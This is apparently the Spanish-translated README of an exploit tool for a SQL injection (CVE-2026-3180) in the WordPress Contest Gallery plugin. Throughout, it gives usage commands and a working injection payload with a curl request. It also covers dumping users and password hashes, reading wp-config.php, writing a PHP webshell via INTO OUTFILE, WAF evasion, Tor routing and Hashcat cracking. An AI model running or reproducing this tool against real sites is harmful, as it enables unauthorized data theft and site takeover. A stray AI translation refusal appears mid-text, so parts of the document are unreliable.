### Referencias

- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [Artículo original (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)

---

## Características

### Explotación principal

| Capacidad | Descripción |
|---|---|
| Detección de vulnerabilidades | Pruebas booleanas, basadas en tiempo, basadas en errores, unión y consultas apiladas |
| Extracción ciega | Extracción de caracteres mediante búsqueda binaria por inferencia booleana |
| Volcado completo de datos | Usuarios, metadatos de la base de datos, opciones, plugins, temas, entradas, tablas |
| Shell SQL interactivo | Ejecutar consultas `SELECT` arbitrarias contra el backend |
| Extracción de wp-config.php | Intentos de `LOAD_FILE()` contra rutas comunes |
| Shell inversa | Escritura de webshell PHP mediante `INTO OUTFILE` / `DUMPFILE` (cuando esté permitido) |

### Evasión y rendimiento

| Capacidad | Descripción |
|---|---|
| Bypass de WAF | Más de 15 técnicas de codificación y ofuscación |
| Multihilo | Hilos de trabajo configurables para una extracción más rápida |
| Limitación de velocidad | Retardo configurable entre solicitudes |
| Lógica de reintento | Reintentos automáticos en fallos transitorios |
| Rotación de User-Agent | Huellas dactilares de navegador aleatorias por solicitud |
| Soporte de proxy | Proxies HTTP/SOCKS y Tor (`socks5h://127.0.0.1:9050`) |

### Informes e integraciones

| Capacidad | Descripción |
|---|---|
| Generación de informes | Informes JSON y HTML con resúmenes de extracción |
| Integración con SQLMap | Comando SQLMap autogenerado con tamperers |
| Extensión de Burp Suite | Generador + `burp_contest_gallery.py` independiente |
| Plantilla de Nuclei | Plantilla YAML para detección masiva |
| Módulo de Metasploit | Módulo auxiliar en Ruby (`contest_gallery_sqli.rb`) |
| Automatización de shell | Scripts Bash para flujos de trabajo basados en curl y SQLMap |

### Operativo

| Capacidad | Descripción |
|---|---|
| Salida CLI coloreada | Registro estructurado con niveles de gravedad |
| Seguimiento de progreso | Métricas en tiempo real (solicitudes, tiempos, velocidad de extracción) |
| Modos silencioso y detallado | Adecuado para scripts y depuración |
| Manejo de señales | Limpieza ordenada con `Ctrl+C` |
| Listo para Docker | Soporte de despliegue en contenedores |
| Listo para pipelines CI/CD | Códigos de salida y salida JSON para automatización |

---

## Instalación

### Requisitos previos

- Python **3.8+**
- `pip`
- Accesibilidad de red al objetivo(s) bajo prueba

### Herramientas externas opcionales

| Herramienta | Propósito |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | Inyección SQL automatizada |
| [Burp Suite](https://portswigger.net/burp) | Pruebas manuales y alojamiento de extensiones |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Escaneo basado en plantillas |
| [Hashcat](https://hashcat.net/hashcat/) | Descifrado de hashes sin conexión |
| [Tor](https://www.torproject.org/) | Enrutamiento anónimo (`--proxy tor`) |

### Configuración```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2026-3180.py --help

**Recomendado (de requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0

### Explotación completa (detectar + extraer)```bash
python3 cve-2026-3180.py http://target.example

### Shell SQL interactiva```bash
python3 cve-2026-3180.py http://target.example --sql-shell

### A través del proxy de Burp```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v

Ejecuta detección booleana, basada en tiempo y basada en errores sin extracción completa.

### Extracción completa de datos```bash
python3 cve-2026-3180.py http://target.example --dump all

### Shell SQL interactivo```bash
python3 cve-2026-3180.py http://target.example --sql-shell

**Comandos del shell:**

| Comando | Descripción |
|---|---|
| `SELECT ...` | Ejecuta una consulta SQL y muestra el resultado |
| `show users` | Muestra los usuarios extraídos en caché |
| `show tables` | Muestra la lista de tablas en caché |
| `show database` | Muestra los metadatos de la base de datos en caché |
| `show config` | Muestra wp-config.php si fue extraído |
| `show options` | Muestra las opciones de WordPress |
| `show plugins` | Muestra los plugins activos |
| `help` | Lista los comandos disponibles |
| `exit` / `quit` | Salir del shell |

### Generación de informes```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json

# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html

> Requiere privilegio `FILE`, webroot escribible, y que `secure_file_priv` no bloquee la ruta de destino.

### Generación de comandos de SQLMap```bash
python3 cve-2026-3180.py http://target.example --sqlmap

### Extensión de Burp Suite```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension

# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py

### Automatización con Bash (sin Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example

### Ajuste de rendimiento```bash
python3 cve-2026-3180.py http://target.example \
  --threads 20 \
  --timeout 15 \
  --delay 0.1 \
  --retries 5 \
  -v

### Algoritmo de Extracción Booleana

1. Confirmar vulnerabilidad mediante longitudes de línea base verdadero/falso  
2. Búsqueda binaria de `LENGTH()` del resultado de la consulta objetivo  
3. Búsqueda binaria de `ASCII(SUBSTRING(...))` por posición de carácter  
4. Ensamblar la cadena completa a partir de los caracteres extraídos  

---

## Bypass de WAF

Técnicas de ofuscación integradas aplicadas aleatoriamente o bajo demanda:

| Técnica | Descripción |
|---|---|
| `comment_obfuscation` | Reemplazar espacios con `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | Mayúsculas/minúsculas aleatorias en caracteres alfabéticos |
| `url_encoding` | Codificación porcentual estándar |
| `double_url_encoding` | Codificación porcentual anidada |
| `hex_encoding` | Codificación hexadecimal estilo `%41` |
| `unicode_encoding` | Codificación Unicode estilo `%u0041` |
| `white_space_variation` | Tabulaciones, saltos de línea, avances de página en lugar de espacios |
| `keyword_obfuscation` | Dividir palabras clave: `SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | Concatenación con `CHAR()` mediante `\|\|` |
| `char_obfuscation` | Adición con `CHAR()` mediante `+` |

Ejemplo de payload transformado:```text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com

### Descifrado de hashes de contraseñas (offline)

Después de la extracción, descifra los hashes phpass de WordPress con Hashcat:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json

# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

### Burp Suite

1. Cargue `burp_contest_gallery.py` en **Extender → Extensions → Add**  
2. Abra la pestaña **CVE-2026-3180**  
3. Introduzca la URL objetivo y haga clic en **Exploit**  
4. El escáner pasivo verifica las solicitudes AJAX en busca de indicadores de Contest Gallery  

### Nuclei```yaml
id: CVE-2026-3180
info:
  name: WordPress Contest Gallery SQL Injection
  severity: high
  classification:
    cve-id: CVE-2026-3180
    cvss-score: 7.5

requests:
  - method: POST
    path: /wp-admin/admin-ajax.php
    body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"

---

## Cadena de Ataque```mermaid
flowchart TD
    A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
    B --> C{"Injection type?"}
    C -->|Boolean| D["Response length inference"]
    C -->|Time| E["SLEEP delay inference"]
    C -->|Error| F["SQL error leakage"]
    D --> G["Binary-search extraction"]
    E --> G
    F --> G
    G --> H["WordPress data exfiltration"]
    H --> I["Users / hashes / options / config"]
    I --> J["Optional: OUTFILE webshell"]

### Estructura del informe JSON```json
{
  "metadata": {
    "cve": "CVE-2026-3180",
    "cvss_score": "7.5 (High)",
    "type": "boolean_based"
  },
  "target": {
    "url": "http://target.example",
    "ajax_url": "http://target.example/wp-admin/admin-ajax.php"
  },
  "vulnerability": {
    "vulnerable": true,
    "type": "boolean_based"
  },
  "extracted_data": {
    "database": { "name": "wordpress", "version": "8.0.35" },
    "users": [],
    "tables": [],
    "plugins": [],
    "options": {}
  },
  "summary": {
    "users_found": 3,
    "tables_found": 12,
    "plugins_found": 8,
    "config_extracted": false
  }
}

I can't proceed because no content was provided after "INPUT:". Please include the Markdown text to translate.```bash
# Build
docker build -t cve-2026-3180 .

# Scan
docker run --rm cve-2026-3180 http://target.example --scan

# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
  http://target.example --report json

  - uses: actions/setup-python@v5
    with:
      python-version: '3.11'

  - run: pip install -r requirements.txt

  - name: Vulnerability scan
    run: |
      python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
        --scan --quiet
    continue-on-error: true

  - name: Generate report
    run: |
      python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
        --report json -o reports/staging.json

  - uses: actions/upload-artifact@v4
    with:
      name: security-report
      path: reports/

## Solución de problemas

| Síntoma | Qué probar |
|---|---|
| El objetivo no es vulnerable | Confirmar que Contest Gallery ≤ 28.1.4 está instalado y activo |
| Sin diferencia en la longitud de la respuesta | Prueba `--scan` para fallback basado en tiempo; aumenta `--timeout` |
| Extracción muy lenta | Aumenta `--threads`; reduce `--delay` con precaución |
| Errores de conexión | Aumenta `--timeout` y `--retries`; verifica la configuración del proxy |
| WAF bloquea peticiones | Usa `--proxy tor`; la herramienta aplica técnicas de bypass automáticamente |
| El proxy Tor falla | Verifica Tor en `127.0.0.1:9050`; instala `requests[socks]` si es necesario |
| El volcado de usuarios está vacío | Es posible que el prefijo de tabla no sea `wp_`; usa `--sql-shell` con consultas personalizadas |
| wp-config no encontrado | Prueba `--sql-shell` con rutas alternativas de `LOAD_FILE()` |
| Falla de reverse shell | Verifica el privilegio `FILE`, `secure_file_priv`, permisos del webroot |

### Flujo de trabajo de depuración```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v

# Through Burp
python3 cve-2026-3180.py http://target.example \
  --proxy http://127.0.0.1:8080 -v --scan

# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
  -d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
  -w "\nSize: %{size_download}\n"

---

## Historial de versiones

### v2.0.0 — Edición Definitiva (Enero de 2026)

- Detección de inyecciones booleanas, temporales, de error, UNION y apiladas
- Pipeline completo de extracción de datos de WordPress
- Más de 15 técnicas de evasión de WAF
- Shell SQL interactivo
- Generación de informes JSON/HTML
- Integraciones con SQLMap, Burp y Nuclei
- Shell inversa mediante `INTO OUTFILE`
- Soporte para proxy y Tor
- Multihilo con lógica de reintento
- Salida coloreada y registro estructurado

### v1.0 — Lanzamiento inicial

- Detección básica de booleanos
- Extracción manual de usuarios

---

## Descargo de responsabilidad

Este proyecto se proporciona **tal cual** para **investigación de seguridad defensiva** y **pruebas de penetración autorizadas**.

Al utilizar este software, usted acepta que:

1. Solo atacará sistemas propios o que tenga autorización explícita para probar.
2. Comprende las leyes aplicables de abuso informático y protección de datos.
3. El autor y los colaboradores **no son responsables** de daños, pérdida de datos o consecuencias legales derivadas del mal uso.

Si descubre esta vulnerabilidad en producción, siga las prácticas de divulgación responsable y coordine con el proveedor del plugin / el equipo de seguridad de WordPress según corresponda.

---

## Autor y créditos

| Rol | Nombre |
|---|---|
| **Autor de la herramienta** | Sudeepa Wanigarathna |
| **Descubrimiento original** | cardosource |
| **CVE** | CVE-2026-3180 |
| **Licencia** | MIT |

---

## Licencia

MIT```
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.